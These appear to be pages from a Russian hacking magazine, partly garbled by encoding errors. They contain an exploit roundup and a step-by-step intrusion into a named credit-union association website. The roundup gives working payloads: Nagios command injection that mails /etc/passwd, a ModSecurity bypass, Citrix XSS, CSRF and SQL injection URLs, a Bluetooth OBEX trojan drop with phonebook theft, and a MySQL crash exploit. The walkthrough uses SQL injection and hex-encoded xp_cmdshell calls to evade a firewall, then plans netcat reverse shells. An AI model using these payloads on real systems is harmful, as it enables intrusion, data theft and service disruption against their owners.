нередко прибегаешь к помощи сторонних серверов (в простонаро-
дье — дедиков). Иногда сервер выплевывает недружелюбное сооб-
щение «Terminal server has exceeded the maximum number of allowed 
connections» и исключает возможность дальнейшей работы. Проблема 
кроется в отсутствии лицензий терминального доступа, в результате 
чего винда работает в режиме «Удаленного 
администрирования» и разрешает только два 
одновременных сеанса, в том числе и отклю-
ченных. Ситуация возникает достаточно часто, 
например, если админ на сервере не выполняет 
выход из сессии, а при окончании работы прос-
то закрывает окно удаленного рабочего стола. 
Принципиально возможно два пути решения. 
Первый и наименее беспалевный — дождаться, 
пока какая-нибудь из сессий не завершится. 
Если у тебя много дедов, это вполне приемле-
мо, в противном случае надо занять активную 
позицию и выбить одного из пользователей. Как 
это сделать, когда к серверу даже не приконек-
титься? Если на удаленном узле открыт порт 445, 
можно воспользоваться средствами командной 
строки для отображения текущих сеансов и их 
отключения.
1. Создаем доверенные отношения с удаленным 
узлом с использованием «net use»:

net use \\<server_address>\

IPC$ <administrator_password> /

user:<administrator_user_name>

2. Инвентаризуем сессии и запоминаем идентификатор той, которую 
следует отключить:

qwinsta /server:<server_address>

3. Отключаем сессию:

logoff <session_id> /server:<server_address>

4. Коннектимся к серверу по RDP.z

Принудительный logoff

№ 7
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ЗАДАЧА:  ОТКЛЮЧИТЬ 
ТЕРМИНАЛЬНУЮ СЕС-
СИЮ ПОЛЬЗОВАТЕЛЯ 

СЕРВЕРНОЙ ВЕРСИИ WINDOWS СРЕДСТВА-
МИ RDP

РЕШЕНИЕ:
Если SMB-сервисы недоступны, установка доверительных отноше-
ний и инвентаризация сессий невозможны. Во многих случаях сер-
вак вообще находится за файром и единственный способ подклю-
читься к нему — воспользоваться портом 3389 и клиентом mstsc. 
Однако традиционный коннект не проходит, так как вываливается 
сообщение с ошибкой о превышении количества сессий и соеди-
нение закрывается. Значит, надо подключаться к уже установ-
ленной сессии. Для этого в клиенте предусмотрен ключ /console, 
который позволяет удаленно подключиться к сессии локального 
пользователя, или session 0. Однако стоит отметить, что, начиная с 
Windows XP SP3, Windows Vista SP1 и Windows Server 2008, клиент mstsc 
ключа /console уже не имеет. Связано это с тем, что в новых версиях ОС 
от Microsoft нулевая сессия перестала быть интерактивной и использу-
ется только для запуска системных процессов и сервисов. Интерактивные сессии 
пользователей нумеруются, начиная с единицы. Ничего страшного тут нет, просто 
вместо ключа /console в таких случаях следует использовать ключ /admin.
1. Подключаемся к существующей сессии:

mstsc /v:<server_address> /console (/admin)

2. Запускаем Terminal Services Manager:

tsadmin

3. Отключаем какую-либо сессию (кроме нулевой :)).
4. Коннектимся к серверу по RDP.

Управление терминальными сессиями

№ 6



НЕАВТОРИЗИРОВАННОЕ 
ИСПОЛНЕНИЕ ПРОИЗВОЛЬНЫХ 
К ОМАНД В NAGIOS

  BRIEF     Nagios — система мониторинга с открытым исходным кодом, ис-
пользующаяся даже в корпоративном секторе. В сетевой инфраструктуре 
она занимает место «нюхача», который следит за службами, корректнос-
тью их функционирования, всевозможными компонентами сети. В случае 
чего, Nagios генерирует оповещение, чтобы администратор своевремен-
но устранил проблему. Для удобства администрирования Nagios может 
управляться посредством мобильного телефона через технологию WML. 
Условно говоря, администратор, отдыхая на даче, заходит через сотовый 
на сайт, выбирает там линки и смотрит статус системы, живучесть отдель-
ных хостов, присланные оповещения и еще много всего.

 EXPLOIT   Уязвимость содержится в модуле проверки статуса, причем 
сразу в двух местах (утилитах PING/TRACEROUTE), хотя суть самой 
бреши типична и сводится к небезопасному использованию системных 
вызовов «popen». К этой серии, вообще, можно причислить целый класс 
небезопасного программирования, связанного с выполнением команд. 
Они попадаются в самых удивительных местах. К примеру, пару месяцев 
назад одним хакером был взломан известный закрытый форум Mazafaka, 
где модуль traceroute форума VBulletin уязвим описываемой ниже уязви-
мостью.
Утилиты находятся тут:

tools -> ping

tools-> Traceroute WAP/WML pages

Использовать их можно так:

https://somehost.com/nagios/cgi-bin/statuswml.cgi?ping

=173.45.235.65%3Becho+%24PATH

(%B — ";" â ASCII, %24 — "$")

После исполнения я получил результаты, что удаленный хост жив, и 
его сетевые параметры, а также полный вывод переменной окружения 
(FreeBSD / $PATH):

/sbin:/bin:/usr/sbin:/usr/bin:/usr/games:/usr/local/

sbin:/usr/local/bin:/root/bin

Код уязвимой процедуры display_ping из модуля statuswml.c:

/* run the ping command */

fp=popen(buffer,"r");

if(fp){

   while(1)

   {

      fgets(buffer,sizeof(buffer)-1,fp);

      if(feof(fp))

         break;

      strip(buffer);

      if(odd)

      {

         odd=0;

         printf("%s<br/>\n",buffer);

       }

      else

      {

         odd=1;

         printf("<b>%s</b><br/>\n",buffer);

       }

   }

}

else

    printf("Error executing 

Сколько всего произошло! Слухи о закрытии milw0rm.com и появле-
ние кучи зеркал — вне обсуждения. Лето выдалось жарким не только 
по температуре, но и по движениям в мире эксплойтов и уязвимостей 
ПО: браузерные бреши в Mozilla Firefox 3.5 и ActiveX-компоненте 
Video Microsoft Internet Explorer 7, критические уязвимости в ряде 
OpenSource-продуктов, а китайцы готовят супер-защищенную ОС 
kylin! Времени отдыхать просто нет. Надо атаковать!
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ping!\n");

pclose(fp);

...

Как нетрудно заметить, popen исполняет любое содержимое, которое 
попадает в переменную buffer. Buffer контролируется в коде только при 
объявлении на ограничение вводимых данных (char buffer[MAX_INPUT_
BUFFER];), но его содержание абсолютно произвольно. Логика составле-
ния буфера такова: сначала он освобождается, далее пустой буфер слипа-
ется с тем, что мы ввели для пинга в качестве адреса, и скармливается на 
исполнение. В том числе, знаки пробела, ведь это же нигде не оговорено:

if(!strcmp(temp_ptr,"HOSTADDRESS"))

   strncat(buffer,ping_address,sizeof(buffer)-

strlen(buffer)-1);

Конечно, никто не мешает нам в качестве адреса задать 127.0.0.1;mail < /
etc/passwd или какую-либо критически важную директорию. 

  TARGETS   Nagios на базе 3.x ветки + 2.0rc2 (версии, где возможна 
установка дополнительных модулей, а именно — включенного WAP-ин-
терфейса).
 
  SOLUTION   Создатель быстро отреагировал на уязвимость и написал 
решение. Вдобавок много любителей еще раньше выпустили собствен-
ные патчи (tracker.nagios.org/view.php?id=15), убирающие пробелы и 
добавляющие проверку на правильность указанного домена или IP.

MOD_SECURITY HTTP 
PARAMETER 
POLLUTION

 BRIEF    Знаменитый WebApp-firewall терпит бедствие. Как известно, это 
модуль Apache со специально подключенными наборами правил (Core 

Rules), защищающими от типичных атак на WEB-приложения. Из-за 
специфики обработки cookie в GET/POST-запросах со стороны ASP.
NET существует возможность обойти ограничения Mod_Security. Когда 
многочисленные параметры «куков» одного и того же имени встречаются 
в HTTP-запросе, то ASP/ASP.NET-приложения расценивают их как «кол-
лекцию объектов». Проще говоря, считают элементами массива.    

  EXPLOIT    К примеру, мы производим SQL-injection:

http://example.com/search.aspx?value=select 1,2,3 from 

table

Все нормально, при этом от нас улетел запрос вида:

POST /index.aspx?a=1&a=2

Host: www.example.com

Cookie: a=5; a=6

Content-Length: 7

a=3&a=4

На серверной стороне этот запрос интерпретируется следующим образом:

ModSecurity:

   value = select 1,2,3 from table

Web Application Interpretation:

   value = select 1,2,3 from table

Делаем теперь так:

http://example.com/search.aspx?value=select 

1&value=2,3 from table

ModSecurity:

   value = select 1

XÀÊÅÐ  09  /129/  09

02

Атака в прогрессе!



 048  XÀÊÅÐ  09  /129/  09

   value = 2,3 from table

Web Application:

   value select 1,2,3 from table

Интересно, правда? Эксперименты могут продолжаться до бесконеч-
ности:

http://example.com/search.aspx?value=select/*&value=*/

1,2,3/*&value=*/from/*&value=*/table

ModSecurity:

   value=select/*

   value=*/1,2,3/*

   value=*/from/*

   value=*/table

Web Application:

   value = select/*,*/1,2,3/*,*/from/*,*/table

Очень часто такой прием может быть использован при обходе Mod_
Security. Термин HTTP Polution был введен Luca Carettoni и Stefano 
di Paola и представлен на недавно прошедшей конференции OWASP 
AppSec EU09 Poland. В работе «Split and Join»  (lavakumar.com/Split_
and_Join.pdf) Lavakumar Kuppan осветил возможность эксплуатации 
уязвимости на примере WAF. Ранее уязвимость уже использовалась в 
работах других security-ресечеров, например, для написания эксплойта 
под DFLabs PTK (http://seclists.org/bugtraq/2008/Nov/0038.html). 
HTTP Parameter Polution — один из явных способов обхода WAF 
(Web Application Firewall). 
Параметрами любого HTTP-запроса являются пары (словарь 
— ключ + значение), разделенные символом «=». Границы 
параметров, в свою очередь, определяются с помощью симво-
лов «&» и «;», но беда в том, что тот же стандарт не запрещает 
многократное использование одинаковых имен в HTTP-запро-
сах. В связи с особенностями восприятия на стороне ПО опи-
санных выше запросов возможно нарушение логики работы 
WEB-приложений и появление способов эксплуатации многих 
уязвимостей.

  TARGETS    ModSecurity <= 2.5.9 с набором правил ModSecurity Core Rules 
v 2.5-1.6.1.

  SOLUTION    На данный момент устранение уязвимости отсутствует. 

МНОГОЧИСЛЕННЫЕ 
УЯЗВИМОСТИ В CITRIX 
XENCENTERWEB

  BRIEF  Графический фронтенд к Citrix XenServer позволяет визуально 
управлять твоими виртуальными машинами в пуле ресурсов, предпри-
нимать различные действия вроде останова или перезапуска, всячески 
рулить пользовательскими отношениями и еще много чем. 

  EXPLOIT  Как такового, одного эксплойта здесь не нарисуешь — найден 
целый ряд брешей в безопасности:
1) XSS — межсайтовый скриптинг.

https://xencenterweb.loc/config/edituser.php?username=

1<script>alert(document.cookie)</script>

Грамотно составленное письмо от доверенного лица helpdesk’a сыграет свою 
роль с этой багой. В качестве снифера для ловли кукисов можно использовать 
существующий софт Kanick Sniffer или онлайн-сервис (Antichat.ru). 
2) CSRF — Cross-Site Request Forgery.  CSRF расшифровывается как 
Cross-Site Request Forgery («Межсайтовая подделка запроса»). Этот тип атак 
направлен на имитирование запроса пользователя к стороннему сайту. Уяз-
вимость достаточно широко распространена из-за особенностей архитектуры 
большинства веб-приложений. А именно — из-за того, что многие веб-прило-
жения нечетко определяют, действительно ли запрос сформирован настоящим 
пользователем. Такие ситуации часто встречаются там, где есть единственное 
средство распознавания клиента — cookies или сессия (ну, иногда еще referer). 
Соответственно, если с помощью определенного кода заставить браузер отпра-
вить нужный нам запрос на сторонний сайт, то запрос может вполне нормально 
пройти даже к тем скриптам, в которых нужна авторизация — ведь браузер при 
запросах к сайту отправляет ему и cookies. Главное, чтобы пользователь зара-
нее был авторизирован. Порой, проявив смекалку, с такой уязвимостью можно 
творить чудеса (на Новый Год два французских хакера рулили включением и 
отключением огней на центральной новогодней елке).

Íåàâòîðèçèðîâàííàÿ ñìåíà ïàðîëÿ:

https://xencenterweb.loc/config/changepw.

php?username=[victim_username]&newpass=[attacker’s_

chosen_pwd]

Âûêëþ÷åíèå êîíêðåòíîé âèðòóàëüíîé ìàøèíû:

https://xencenterweb.loc/hardstopvm.php?stop_

vmref=[VMref]&stop_vmname=[VMname]

Blind SQL Injection — ïðîâåäåíèå ñëåïîé èíúåêöèè, èñ-

УЯЗВИМЫЙ 
ФРАГМЕНТ КОДА!
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ïîëüçóÿ âðåìåííûå ïàðàìåòðû:

https://xencenterweb.loc/login.php?username=user' 

UNION SELECT if(user() LIKE 

'root@%', benchmark(1000000,sha1('test')),'false')/*

  TARGETS  Citrix XenCenterWeb.

 SOLUTIONS  Сitrix никак не отреагировала на столь существенные уязви-
мости.

АТАКА НА WINDOWS 
MOBILE OBJECT EXCHANGE (OBEX) / 
СМАРТФОНЫ HTC

  BRIEF:  Старо, как мир! Bluetooth-сервис известной марки смартфонов 
и коммуникаторов уязвим, причем самой баге уже около 10 лет. В свое 
время через OBEX распространялись первые мобильные червяки. OBEX 
FTP Bluetooth service используется для «обмена» файлами через бес-
проводной канал. «Обмен» следует воспринимать не только как отдачу 
конкретного локального файла стороннему клиенту, но и как возможности 
удаленному клиенту изучать содержимое «шары» твоего мобильника. 
Опасность заключается в том, что при каких-либо условиях злоумыш-
леннику удастся обойти ограничения, подняться «выше» по каталогам и 
попасть, скажем, в раздел автозагрузки, куда и поместить вредоносный 
код. Другая беда — злоумышленник может просто-напросто похитить 
ценные для тебя данные телефонной книги, сообщений, личные записи 
планировщика и многое другое.

  EXPLOIT  Производить такого рода атаки можно с использованием 
ноутбука. Для этого на нем обязательно должна присутствовать поддерж-
ка стека Bluetooth (одна из реализаций, к примеру, для библиотеки, о 
которой пойдет речь дальше, — это Microsoft Bluetooth Stack / Widcomm 
Bluetooth Stack), и возможность установки дополнительных библиотек, 
выступающих в качестве интерфейса. Самая распространенная для этих 
задач либа — BlueZ (bluez.org/download) с кучей вариаций на почти всех 
современных языках программирования высокого уровня (pyBlueZ — 
есть Windows-модуль, perl для этого имеет модуль Net:Bluetooth).
Для установки BlueZ на Windows потребуется Microsoft Service Pack 2/3 
и Microsoft Platform SDK. Конечно, ты можешь использовать абсолют-
но сторонние вещи, вроде Ethermind Bluetooth Stack, Toshiba Stack, 
BlueSoleil. Они, кстати, поддерживают DUN, FAX, HFP, HSP, 

LAP, OBEX, OPP, PAN SPP, AV, BIP, FTP, GAP, HID, SDAP, но тебе 
придется ковыряться в их же SDK, которые поставляются когда 
бесплатно, а когда и по запросу от производителя. Причем при 
«заказе» потребуется доказать, что ты являешься независимым 
разработчиком и намека на заработок в твоих исследованиях 
совсем не видно.
Но это все лирика. Изначально так повелось, что BlueZ — реали-
зация стека Bluetooth для Linux, ее официально включили в пакет 
Linux Kernel. В настоящее время она поддерживает абсолютно все 
протоколы Bluetooth. Вдобавок, в пакетах к системе можно встретить 
bluez-utils/bluez-firmware — содержат пару утилит, которые помогут 
тебе почувствовать себя с ней более свободно. Для начала установи 
саму Bluez, а затем ObexFTP (triq.net/obexftp):

root@skvz:~/bluez$ obexftp -b 00:17:83:02:BA:3C -l

Îðãàíèçàöèÿ ëèñòèíãà ôàéëîâ ñ óäàëåííîãî òåëåôîíà èç åãî 

«øàðû»

MAC-àäðåñ óñòðîéñòâà ìîæíî îáíàðóæèòü ñ ïîìîùüþ hcitool 

-scan 

Browsing 00:17:83:02:BA:3C ...

Channel: 4

Connecting...done

Receiving "(null)"... <?xml version="1.0"?>

<!DOCTYPE folder-listing SYSTEM "obex-folder-listing.

dtd">

<folder-listing version="1.0">

<parent-folder name=»» />

<file name=»fotaca.jpg" created="20090119T173932Z" 

size=»134680"/>

<file name=»nota.pwi" created=»20090119T175242Z" 

size=»432"/>

</folder-listing>

done

Disconnecting...done

root@skvz:~/bluez$ obexftp -b 00:17:83:02:BA:3C -c 

"..\\..\\Windows\\Startup\\" -p trojan.exe

Çàêèäûâàåì ôàéë ñ âðåäîíîñíûì  ñîäåðæèìûì â àâòîçàïóñê

Browsing 00:17:83:02:BA:3C ...

Channel: 4

СОДЕРЖИМОЕ /ETC/PASSWD С 
УДАЛЕННОГО СЕРВЕРА У МЕНЯ НА 
ПОЧТЕ

ВОТ ТАК 
В РЕАЛИЯХ 
ВЫГЛЯДИТ 

NAGIOS WAP 
INTERFACE 
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Connecting...done

Sending "..\..\Windows\Inicio\"... done

Sending "trojan.exe"...\done

Disconnecting...done

root@skvz:~/bluez$

Trojan.exe выполнится при последующем рестарте девайса. Как видишь, 
таким способом можно осуществить «bluesnarfing» на слабозащищенный 
профиль OBEX (Object Exchange Push Profile). Соответственно, ты понима-
ешь, HTC не единственный, который так можно атаковать. Это распростра-
ненная проблема многих телефонов.
Пример из жизни:

Îòêðûâàåì íîóòáóê, ñòàâèì obexftp, â êà÷åñòâå ÎÑ — Linux 

root@skvz: emerge -s obexftp 

Searching... 

[ Results for search key : obexftp ] 

[ Applications found : 1 ] 

* net-wireless/obexftp 

Latest version available: 0.10.6 

Latest version installed: 0.10.6 

Size of downloaded files: 368 kB 

Homepage: http://triq.net/obex 

Description: File transfer over OBEX for mobile phones 

License: GPL-2

root@skvz: emerge net-wireless/obexftp

Ïðîèçâîäèì ñêàíèðîâàíèå óñòðîéñòâ

root@skvz: hcitool scan 

Scanning ... 

00:0A:D9:5A:9C:22 Packetwerks Phone 

Çàïðàøèâàåì ñ òåëåôîíà äàííûå Vcard èç PhoneBook

root@skvz: obexftp -b 00:0A:D9:5A:9C:22 -B 10 -g 

telecom/pb.vcf 

Browsing 00:0A:D9:5A:9C:22 ... 

Channel: 7 

No custom transport 

Connecting...bt: 1 

done 

Receiving telecom/pb.vcf.../done 

Disconnecting...done 

# ÷èòàåì äàííûå

root@skvz: more pb.vcf 

BEGIN:VCARD 

VERSION:2.1 

N:Smith;Aaron 

EMAIL;INTERNET;PREF:user@host.com 

TEL;CELL:2135551212 

END:VCARD 

BEGIN:VCARD 

VERSION:2.1 

N:;Abby 

[...]

VCard содержит  сведения  о  контактах  в  виде  визитной 
карточки  (именно  эти  файлы  ты  кидаешь  другу,  когда 
хочешь  передать  ему  контакт  из  своей  адресной  книжки 
мобильника ) .

 TARGETS Продукты HTC на базе Windows Mobile 6 /  6.1, пятая ветка — не 
уязвима. 

 SOLUTION Решение — отключать Bluetooth и включать его только тогда, 
когда это необходимо. Этим ты избавишь себя от незаметного хищения 
данных с телефона.

ВЗЛОМ

Раскрытием критически важной информации через сервис OBEX грешны не только телефоны HTC
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УЯЗВИМОСТЬ 
ФОРМАТНОЙ 
СТРОКИ В MYSQL

 BRIEF: Бага обнаружена в ibmysqld/sql_parse.cc. Замечу, что именно 
этот фрагмент кода фигурирует во всех версиях MySQL до 6. Обращения 
к функции mysql_log.write() без спецификаторов или в других подобных 
ситуациях (когда спефицикаторов больше, чем формируемых перемен-
ных, например) приводят к отказу в обслуживании. 

>> EXPLOIT  Ниже привожу фрагмент убийственного эксплойта:

#include <stdlib.h>

#include <stdio.h>

#define USE_OLD_FUNCTIONS

#include <mysql/mysql.h>

#define NullS (char *) 0

int main (int argc, char **argv)

{

MYSQL *mysql = NULL;

mysql = mysql_init (mysql);

if (!mysql)

{

         puts ("Init faild, out of memory?");

         return EXIT_FAILURE;

}

if (!mysql_real_connect (mysql, /* MYSQL structure to 

use */

"localhost", /* server hostname or IP address */

"monty", /* mysql user */

"montypython", /* password */

NULL, /* default database to use, NULL

for none */

0, /* port number, 0 for default */

NULL, /* socket file or named pipe name */

CLIENT_FOUND_ROWS /* connection flags */ ))

{

     puts ("Connect failed\n");

}

else

{

      puts ("Connect OK\n");

// mysql_create_db(mysql, "%s%s%s%s%s");

simple_command(mysql, COM_CREATE_DB, argv[1], 

strlen(argv[1]), 0);

}

mysql_close (mysql);

return EXIT_SUCCESS;

}

Эксплойт запускаем так (только в экспериментальных целях):

$gcc mysql_format.c -o mysql_format -lmysqlclient

$./mysql_format %s%s%s%s%s

 TARGETS  MySQL <= 5.0.45.

 SOLUTION В данный момент решения, предложенного производи-
телем, не наблюдается. Уязвимость имеет место исключительно 
на пост-авторизационном уровне, поэтому главное, от чего пот-
ребуется обезопаситься — это от неправомерного доступа в твою 
базу данных. z

05
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В 
первой части я препарировал сайт 
ism.ws, который сложно отнести к 
когорте особо интересных. Чтобы у 
тебя не сложилось впечатления, что 

все описываемое — полная лажа и применимо 
только на мелких и заброшенных ресурсах, в 
качестве цели я выбрал более достойного канди-
дата. Поверь мне, инъекции и прочие уязвимости 
есть на ресурсах разного масштаба, включая и 

очень раскрученные бренды. Надо только уметь 
их найти и использовать. 
Итак, знакомимся: герой дня — сайт «National 
association of federal credit union», или NAFCU, 
расположенный по адресу www.nafcunet.org 
(www.nafcu.org) и просто напрашивающийся 
на детальный анализ. Сайтец сделан довольно 
прилично, можно даже сказать, радует глаз. 
Глядя на такие ресурсы, невольно думаешь, 

что и с безопасностью здесь все в порядке, но 
реалии упорно твердят об обратном. Перед тем 
как воспользоваться Гуглом, я решил проявить 
самостоятельность и провести собственное 
расследование.
Расширения скриптов наводили на мысль, 
что в качестве движка выступает ColdFusion 
(после опыта прошлого вторжения это радует). 
Буквально на третьей же ссылке при подстановке 
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Терминальный доступ через SQL-инъекцию и xp_cmdshell

В предыдущей статье было показано, как тривиальная инъекция 
может привести к получению контроля над сервером. Теперь мы 
научимся работать с xp_cmdshell и преодолевать сопротивление 
WAF. И все во имя той же цели — заполучить админский доступ 
к серверу по RDP.

КЛАССИКА 
ПРОНИКНОВЕНИЯ 
ЗА 8 ШАГОВ

ВЗЛОМ
  M0R0 M0R0@INBOX.RU



кавычки я увидел ошибку на преобразование типов данных, а 
уже четвертая исследованная ссылка открыла во всей красе 
эксплойтабельную инъекцию с выводом ошибок и результатов 
запросов. 
Безалаберность и халатность, с которой ведется проектиро-
вание и разработка интернет-ресурсов многих финансовых 
организаций, заставляет задуматься о качестве их работы в 
целом. Предлагаю всю вину за финансовый кризис возложить 
на непрофессионализм американских буржуев и перейти к 
показательной карательной операции на примере NAFCU.

ШАГ 1. РАЗВЕДКА МЕСТНОСТИ
По адресу nafcu.org/Template.cfm?Section=What_is_an_
FCU_&Template=/ContentManagement/HTMLDisplay.
cfm&ContentID=3842 мы имеем классическую инъекцию 
SQL-запросов. При подстановке кавычки получим невероятно 
информативный вывод ошибки ColdFusion, в который транс-
лируется ошибка SQL — [Microsoft][ODBC SQL Server Driver]
[SQL Server]Line 4: Incorrect syntax near. Очевидно, что дело 
придется иметь с SQL-сервером от мелкомягких.
Разведку начнем проводить в направлении определения 
параметров БД и самого сервера. Для этого прощупаем скрипт 
запросом вида 

nafcu.org/Template.cfm?Section=What_is_an_

FCU_&Template=/ContentManagement/HTMLDisplay.

cfm&ContentID=38427+and+1=0+or+1=(select+char(

108)%2bcast(0x746869736973736570617261746F72+a

s+varchar(200))%2bcast(replace(@@version,char(

10),char(32))+as+varchar(200))%2bcast(0x746869

736973736570617261746F72+as+varchar(200))%2bca

st(db_name()+as+varchar(200))%2bcast(0x7468697

36973736570617261746F72+as+varchar(200))%2bcas

t(system_user+as+varchar(200))%2bcast(0x746869

736973736570617261746F72+as+varchar(200))%2bca

st(@@servername+as+varchar(200))%2bcast(0x746

869736973736570617261746F72+as+varchar(200))%2

bchar(108))--. 

Все сложилось на редкость удачно — сработала ошибка на 
преобразование типов, и в результате получена идентифика-
ционная информация:

• ñåðâåð — Microsoft SQL Server 2000 — 8.00.2039 

(Intel X86) May 3 2005 23:18:38 Copyright (c) 

1988-2003 Microsoft Corporation Enterprise 

Edition on Windows NT 5.0 (Build 2195: Service 

Pack 4);

• ïîëüçîâàòåëü — sa.

Пользователь sa! Ну, ни фига себе. В одном из изи-хаков я пи-
сал о процедуре xp_cmdshell (вернее, о способе ее активации 
в SQL Server 2005), которая предоставляет возможность рабо-
ты с ОС от имени учетки SQL-сервера (в большинстве случаев 
— system). Там же я писал, что приложения, работающие от sa, 
не так уж и редки. Не поверил тогда — убедись сейчас :).
После того, как было получено имя учетки, все мое внимание 
сосредоточилось вокруг процедуры xp_cmdshell.

ШАГ 2. ПОДГОТОВИТЕЛЬНЫЕ 
ДЕЙСТВИЯ
Возвращаясь к изи-хаку, напомню, что процедура xp_cmdshell 
в 2005 сервере по умолчанию отключена, но ее можно 
включить, имея привилегии sysadmin. Для этого нужно лишь 
воспользоваться процедурой sp_configure. Мы же работаем 
с сервером 2000, в котором этого функционала нет. Однако 

xp_cmdshell может быть отключена администратором с 
помощью процедуры sp_dropextendedproc. Но раз она может 
быть отключена, значит, мы можем ее и включить. Разницы ни-
какой нет — разрабы накосячили в 2000, накосячили и потом! 
Честно скажу, вначале я не думал, что процедура недоступна. 
Я долго и упорно составлял разные зловещие запросы, пока 
не додумался ее включить. Для этого необходимо применить 
процедуру sp_addextendedproc и дополнительно знать назва-
ние библиотеки, которая эту самую xp_cmdshell реализует. Ты 
знаешь? Я —  да: xplog70.dll. Дабы не захламлять любимый 
журнал, далее в примерах запросов я буду опускать путь до 
уязвимого параметра.
Сперва я попробовал в лоб: 

; exec master..sp_addextendedproc 'xp_

cmdshell', 'xplog70.dll'--. 

Результат запроса поставил меня в тупик, так как, собственно, 
никакого результата и не было. Не было вообще ничего, сервер 
просто сбросил соединение. «Вот те раз», —  подумал я. «Вот 
тебе и два», — ответил сервер при попытке обновить страницу. 
Видимо, был задействован фаер на уровне приложений, 
который не пропускал строку xp_cmdshell в запросе. Запрос 
был тривиальный, так что достаточно было просто представить 
строки в шестнадцатеричной кодировке:

; exec master..sp_addextendedproc0x78705f636d6

47368656c6c,0x78706c6f6737302e646c6c--.

Появилась страничка без всяких ошибок. Это еще ни о чем не 
говорило, так что я решил продублировать запрос и дико обра-
довался: сервер выплюнул ошибку, что объект уже зарегист-
рирован. Обрати внимание: при вызове sp_addextendedproc 
я использовал контекст БД master. То же самое я буду делать и 
при вызове xp_cmdshell. Советую поступать также, в против-
ном случае — пеняй на себя.

ШАГ 3. ОБЕСПЕЧИВАЕМ КОНТРОЛЬ 
МЕСТНОСТИ
Зачетная вещь – xp_cmdshell, но работать с ней доста-
точно сложно, что и отпугивает новичков. В результате, 
они опускаются до банальных вещей, так и не добиваясь 
серьезных результатов. Сложность в том, что, инъектируя 
команду ОС, ты не увидишь никакого результата. Факти-
чески, приходится работать вслепую. Нет никакого вывода 
команды, и ты даже не поймешь, выполнилась ли она 
вообще, и не ошибся ли ты в синтаксисе. Но это на поверх-
ности. А если подумать и вкурить в MSDN, можно увидеть, 
что execute прекрасно уживается с insert  и результат вы-
полнения можно занести в таблицу. Прочитать же данные 
из таблицы, имея принтабельную инъекцию, думаю, труда 
не составит.
Таким образом, для обеспечения вывода результата будем 
использовать конструкции вида:

insert into foo execute xp_cmdshell '<os_

command>',

Где foo — таблица с единственным столбцом типа varchar. 
Такую таблицу надо создать с помощью команды:

; create table foo(ret varchar(200))--.

Для контроля выполнения команд необходимо получать 
данные из таблицы foo. В примитивном варианте доста-
точно смотреть, не изменилось ли количество записей, 
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С уважением отно-
сись к документации. 
Большинство про-
блем, возникающих 
при проведении инъ-
екций на SQL Server, 
решаются после 
обращения к MSDN: 
msdn.microsoft.
com/en-us/library/
ms187389.aspx.

links
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для чего я держал в лисе отдельную вкладку с 
заряженной инъекцией:

and+1=0+or+1=(select+char(108)%2bc

ast(0x746869736973736570617261746F

72+as+varchar(200))%2bcast(count(*

)+as+varchar(200))%2bcast(0x746869

736973736570617261746F72+as+varcha

r(200))%2bchar(108)+from+foo)--.

ШАГ 4. ОБЕСПЕЧИВАЕМ 
СКРЫТНОСТЬ
Весело открыв очередную банку кефира, я 
инъектировал код:

; insert into foo execute master..

xp_cmdshell 'ipconfig'--

– и обломался. Все правильно, я забыл про 
WAF, который нужно как-то обойти. Я попы-
тался заменить все строки на их шестнадца-
теричные представления, но из затеи ничего 
не получилось. Не получилось, потому что 
строка master..xp_cmdshell здесь выступала не 
в качестве параметра, а в качестве названия 
функции. «Вот тебе и три», — отвечал WAF на 
все мои извращенные попытки.
Я полез в документацию и вскоре увидел, что 
execute может принимать название функции 
в виде строки типа nvarchar. При подстановке 
же шестнадцатеричного значения я передавал 
varchar. Сервер, тихо посмеиваясь, с честным 
видом выдавал страницы без всякого намека 
на ошибки. Для реализации задуманного сле-
довало конвертить строку  master..xp_cmdshell 
в nvarchar перед передачей ее на исполнение. 
После недолгих мыканий родился следующий 
шаблон:

; declare @v as varchar(2048) 

declare @n as nvarchar(2048) set @v = 

0x6d61737465722e2e78705f636d647368

656c6c set @n = cast(@v as nvarchar) 

set @v = <command_in_hex> insert 

into foo execute @n @v--,

ãäå 0x6d61737465722e2e78705f636d647

368656c6c — çàêîäèðîâàííîå çíà÷åíèå 

master..xp_cmdshell.

Проверим на примере того же ipconfig:

; declare @v as varchar(2048) 

declare @n as nvarchar(2048) set @v = 

0x6d61737465722e2e78705f636d647368

656c6c set @n = cast(@v as nvarchar) 

set @v = 0x6970636f6e666967 insert 

into foo execute @n @v--.

Смотрим, сколько записей в foo; 10 — то, что 
надо.

ШАГ 5. СОСТАВЛЯЕМ 
ПЛАН ДЕЙСТВИЙ
Итак, я получил способ выполнения команд в 
обход WAF. Теперь нужно было покреативить 
и составить план дальнейших действий.
Результаты сканирования показали, что 
пробиться к серверу напрямую по RDP не 
удастся. Наученный опытом прошлой схватки я 
набросал алгоритм:

• êàêèì-òî îáðàçîì çàêèíóòü íà ñåðâàê 

netcat è plink (åñòåñòâåííî, âîëøåá-

íîé âåðñèè)

• ïîäíÿòü íà äåäèêå nc â ðåæèìå ïðî-

ñëóøèâàíèÿ

• çàïóñòèòü íà ñåðâàêå nc â ðåæèìå 

êîííåêòà è ïðîáðîñà êîìàíäíîé ñòðîêè

• ñîçäàòü è äîáàâèòü íóæíîãî ïîëüçî-

âàòåëÿ â íóæíóþ ãðóïïó

• ïîäíÿòü íà äåäèêå SSH-ñåðâåð

• îñóùåñòâèòü ðåâåðñ-êîííåêò íà äå-

äèê ñ ïðàâèëüíûì ìàïïèíãîì ïîðòîâ

• íà äåäèêå ïîäêëþ÷èòüñÿ ïî RDP ê 

localhost:3390 è ïîëó÷èòü äîñòóï ê 

óäàëåííîìó ðàáî÷åìó ñòîëó

• ââåñòè ëîãèí è ïàðîëü íóæíîãî ïîëü-

çîâàòåëÿ

• îòêëþ÷èòüñÿ îò ñåðâåðà è íàïèñàòü 

ñòàòüþ â z

ШАГ 6. ВНЕДРЕНИЕ АГЕНТА
Первым делом следовало залить нужные 
файлы на сервер. В прошлый раз был доступ к 
ftp, но здесь такого счастья мне не привалило. 

ИНЪЕКЦИЯ НАЙДЕНА!

ОБОЙТИ ФИЛЬТРАЦИЮ НИЧЕГО НЕ СТОИТ

ВЗЛОМ

Получив возможность исполнять команды операционной системы и запускать собственные 
бинарники, следует позаботиться о способе заливки файлов на целевую систему. В *nix-средах 
это решается просто, так как в большинстве из них по умолчанию доступен wget, а если и нет, то 
не составит  труда его доустановить. В винде wget'а нет, а для установки софта нужно сначала 
залить дистрибутив. Извечная проблема курицы и яйца.
К счастью, в штатной поставке есть FTP-клиент, позволяющий работать с внешними скриптами. 
Для скачки файлов нужно наполнить текстовый файл FTP-командами и скормить его клиенту:

ftp.exe -i -n -v -s:<script_path>

